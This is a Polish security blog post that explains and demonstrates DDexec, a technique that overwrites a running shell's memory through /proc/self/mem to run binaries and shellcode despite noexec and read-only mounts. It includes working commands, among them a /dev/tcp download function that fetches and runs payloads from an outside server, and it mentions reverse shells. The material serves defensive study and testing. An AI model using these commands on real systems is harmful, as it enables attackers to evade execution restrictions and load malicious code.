Obchodzenie flagi montowania noexec za pomocą ddexec
Napisał: Patryk Krawaczyński
27/01/2025 w Bezpieczeństwo Brak komentarzy. (artykuł nr 920, ilość słów: 1192)
W
systemie Linux wszystko jest plikiem. W celu uruchomienia programu w tym systemie musi on istnieć jako plik i być dostępny w jakiś sposób przez hierarchię systemu plików (tak właśnie działa execve()
wykonując program, do którego odnosi się ścieżka dostępu). Plik ten może znajdować się na dysku lub w pamięci (tmpfs), ale nadal potrzebujemy ścieżki do pliku. Dzięki temu bardzo łatwo jest kontrolować, co jest uruchamiane w systemie Linux i ułatwia to wykrywanie zagrożeń oraz narzędzi atakujących. Pomaga to też w nakładaniu opowiednich praw dostępu i polityk kontroli dostępu zapobiegając nieuprzywilejowanym użytkownikom umieszczać i wykonywać pliki gdziekolwiek. Jednak technika użyta w DDexec nie uruchamia nowego procesu w danej ścieżce, ale przejmuje już istniejący.
Autor tego rozwiązania – Yago Gutierrez – tłumaczy to tak: jeśli mamy możliwość dowolnej modyfikacji pamięci procesu to możemy go przejąć. Przejęcia już istniejącego procesu można dokonać poprzez zastąpienie go innym programem. Możemy to osiągnąć, używając wywołania systemowego ptrace()
(które wymaga wyższych uprawnień do wykonywania wywołań systemowych lub posiadania w systemie narzędzia gdb) lub, co jest bardziej interesujące, dokonując zapisu do pliku /proc/$pid/mem
. Plik /proc/$pid/mem
jest bezpośrednią mapą przestrzeni adresowej użytkownika procesu (np. od adresu 0x0
do 0x7ffffffffffff000
w architekturze x86-64). Oznacza to, że odczyt lub zapis do tego pliku w danym przesunięciu (ang. offset) “X” jest tym samym, co odczyt lub modyfikacja zawartości wirtualnego adresu “X”. Niestety rodzi to trzy podstawowe problemy do rozwiązania: 1) tylko administrator i właściciel procesu mogą modyfikować wspomniany plik; 2) zadanie utrudnia mechanizm ASLR (ang. Address Space Layout Randomization); 3) Jeśli spróbujemy odczytać lub zapisać do adresu pamięci, który nie jest załadowany w przestrzeni adresowej procesu, otrzymamy błąd I/O (wejścia / wyjścia).
Na szczęście nie jest to koniec świata mając sprytne rozwiązania: 1) większość interpreterów powłok (np. bash, ash (busybox), zsh) pozwala na tworzenie deskryptorów plików, które następnie są dziedziczone przez procesy potomne. Możemy utworzyć deskryptor wskazujący na plik mem
powłoki z uprawnieniami do zapisu (exec 3>/proc/self/mem
), dzięki czemu procesy potomne korzystające z tego deskryptora będą mogły modyfikować pamięć powłoki. Okazuje się, że wspomniany ASLR wcale nie stanowi problemu, ponieważ możemy sprawdzać plik /proc/$$/maps
w procFS, aby uzyskać informacje o rozmieszczeniu adresów procesu. Pozostaje tylko zastąpienie funkcji “szukającej” lseek()
– z powłoki można to zrobić przy użyciu kilku popularnych programów, takich jak: tail (aktualnie domyślny – then seeker=tail;
), hexdump, cmp, xxd, czy słynny dd (wyboru dokonujemy poprzez zmienną SEEKER
).
Kroki te są stosunkowo proste i nie wymagają jakiejkolwiek eksperckiej wiedzy, aby je zrozumieć. Rozbijamy na części składowe plik binarny i jego moduł ładujący (ang. loader), który chcemy uruchomić, aby dowiedzieć się, jakie mapowania pamięci są potrzebne. Następnie tworzymy odpowiedni shellcode, który będzie, ogólnie mówiąc, wykonywał te same kroki, które jądro wykonuje przy wywołaniu funkcji execve()
. Uzyskujemy z wywołania systemowego na pliku adres, do którego powróci po wykonaniu aktualnie wykonywalnego wywołania systemowego. Nadpisujemy to miejsce (które będzie miało uprawnienia do wykonania) naszym kodem powłoki (ang. shellcode) – z racji robienia tego przez plik mem
w /proc
możemy modyfikować niezapisywalne strony pamięci. Następnie przekazujemy program, który chcemy uruchomić, do standardowego wejścia procesu (stdin) – będzie on odczytany funkcją read()
przez nasz shellcode. W tym monecie wszystko zależy od pracy jaką ma do wykonania loader, który powinien załadować niezbędne biblioteki dla naszego programu (jeśli nie jest skompilowany statycznie) i przejść do jego uruchomienia. A i to wszystko jest realizowane jako skrypt powłoki, bo inaczej jaki byłby tego sens?
Demonstracja DDexec:
Do zademonstrowania działania mechanizmów DDexec użyjemy kontenera, który posiada zamontowany system plików w trybie tylko do odczytu (ang. readonly), a ścieżki /tmp
, /var/tmp
oraz /dev/shm
zostały zamontowane z flagą noexec. Naszym celem będzie uruchomienie obcego pliku binarnego, który nie znajduje się w systemie. Do ściągnięcia ładunków użyjemy funkcji _onthefly. Na początku umieszczamy skrypt ddexec.sh oraz narzędzie curl (w wersji statycznej – bez bibliotek ładowanych z systemu) w formacie base64 na innym serwerze, który będzie naszym hostingem do przeprowadzania ataków:
root@stardust:/var/www# wget 'https://github.com/stunnel/.../curl-linux-x86_64-glibc.tar.xz root@stardust:/var/www# tar -xvf curl-linux-x86_64-glibc.tar.xz root@stardust:/var/www# base64 -w0 curl > curl_base64.data root@stardust:/var/www# wget 'https://raw.github...com/arget13/DDexec/.../main/ddexec.sh' root@stardust:/var/www# wget 'https://raw.github...com/arget13/DDexec/.../main/ddsc.sh'
Od strony kontenera wygląda to następująco. Upewniamy się, że jest aktywna flaga noexec w ścieżce /dev/shm:
ubuntu@9ba11a1cb0d3:/$ cd /dev/shm ubuntu@9ba11a1cb0d3:/dev/shm$ mount | grep shm shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=64000k,inode64)
Tworzymy uniwersalną funkcję do pobierania plików z zewnętrznego serwera hostingowego:
ubuntu@9ba11a1cb0d3:/dev/shm$ function _onthefly() { IFS="+" read server port file <<< $(echo "$1") exec 3<>/dev/tcp/${server}/$port echo -en "GET /${file} HTTP/1.1\r\nHost: ${server}\r\nConnection: close\r\n\r\n" >&3 (while read line; do [[ "$line" == $'\r' ]] && break; done && cat) <&3 exec 3>&- }
Pobieramy i zapisujemy skrypt DDexec:
ubuntu@9ba11a1cb0d3:/dev/shm$ ddexec=$(mktemp -p /dev/shm) ubuntu@9ba11a1cb0d3:/dev/shm$ echo $ddexec /dev/shm/tmp.UWUW3WJSwS ubuntu@9ba11a1cb0d3:/dev/shm$ _onthefly "stardust.nfsec.pl+80+ddexec.sh" > $ddexec ubuntu@9ba11a1cb0d3:/dev/shm$ head -5 $ddexec #!/bin/sh # Prepend the shellcode with an infinite loop (so you can attach to it with gdb) # Then in gdb just use `set $pc+=2' and you will be able to `si'. # In ARM64 use `set $pc+=4'.
Za pomocą DDexec uruchomimy teraz narzędzie curl, które wcześniej nie było obecne w systemie:
ubuntu@9ba11a1cb0d3:/dev/shm$ curl bash: curl: command not found ubuntu@9ba11a1cb0d3:/dev/shm$ curl=$(mktemp -p /dev/shm) ubuntu@9ba11a1cb0d3:/dev/shm$ echo $curl /dev/shm/tmp.9OYZq6zOZH ubuntu@9ba11a1cb0d3:/dev/shm$ _onthefly "stardust.nfsec.pl+80+curl_base64.data" > $curl ubuntu@9ba11a1cb0d3:/dev/shm$ head -c 50 $curl f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA0BlAAAAAAABAAAAAAA ubuntu@9ba11a1cb0d3:/dev/shm$ cat $curl | bash $ddexec curl -I nfsec.pl HTTP/1.1 301 Moved Permanently Date: Sun, 26 Jan 2025 21:08:07 GMT Server: httpd/7.5 (OpenBSD) Location: https://nfsec.pl/ Content-Type: text/html; charset=iso-8859-1
Jak widzimy dzięki technice nadpisania pamięci istniejącego procesu z poziomu powłoki system uruchomił obcy plik binarny mimo nałożonych restrykcji na wybraną ścieżkę.
Demonstracja DDsc:
Autor DDexec stworzył również skrypt DDsc, który umożliwia bezpośrednie uruchamianie kodu binarnego. Poniżej znajduje się przykład użycia prostego shellcode napisanego w języku Asembler, który został stworzony w następujący sposób:
agresor@stardust:~$ cat shellcode.asm BITS 64 call below db "Lets dig some f**king cryptoscam!", 0x0a below: mov rax, 1 mov rdi, 1 pop rsi mov rdx, 34 syscall mov rax, 60 mov rdi, 0 syscall agresor@stardust:~$ nasm shellcode.asm agresor@stardust:~$ hexdump -e '16/1 "%02x"' shellcode e8220000004c6574732064696720736f6d...000005eba220000000f05b83c000000bf000000000f05
Od strony kontenera wygląda to następująco. Ściągamy identyczną techniką skrypt ddsc.sh:
ubuntu@9ba11a1cb0d3:/dev/shm$ ddsc=$(mktemp -p /dev/shm) ubuntu@9ba11a1cb0d3:/dev/shm$ _onthefly "stardust.nfsec.pl+80+ddsc.sh" > $ddsc ubuntu@9ba11a1cb0d3:/dev/shm$ head -5 $ddsc #!/bin/sh # Prepend the shellcode with an infinite loop (so you can attach to it with gdb) # Then in gdb just use `set $pc+=2' and you will be able to `si'. # In ARM64 use `set $pc+=4'.
I przekazujemy zakodowany heksadecymalnie shellcode do uruchomienia:
ubuntu@9ba11a1cb0d3:/dev/shm$ shellcode=e8220000004c657473...00f05b83c000000bf000000000f05 ubuntu@9ba11a1cb0d3:/dev/shm$ bash $ddsc -x <<< $shellcode Lets dig some f**king cryptoscam!
Oczywiście shellcode może być bardziej finezyjny i uruchamiać odwróconą powłokę, czy exploit lub tworzyć deskryptor pliku za pomocą memfd wskazujący na plik w pamięci, do którego później możemy zapisywać inne pliki binarne i je uruchamiać (oczywiście z pamięci)...
Więcej informacji: DDexec, Pure In-Memory (Shell)Code Injection In Linux Userland, Fileless malware mitigation, Write your own shellcode, Exploring Linux Memory Manipulation for Stealth and Evasion: Strategies to bypass Read-Only, No-Exec, and Distroless Environments, Stealth intrusions with DDexec-ng & in-memory dlopen()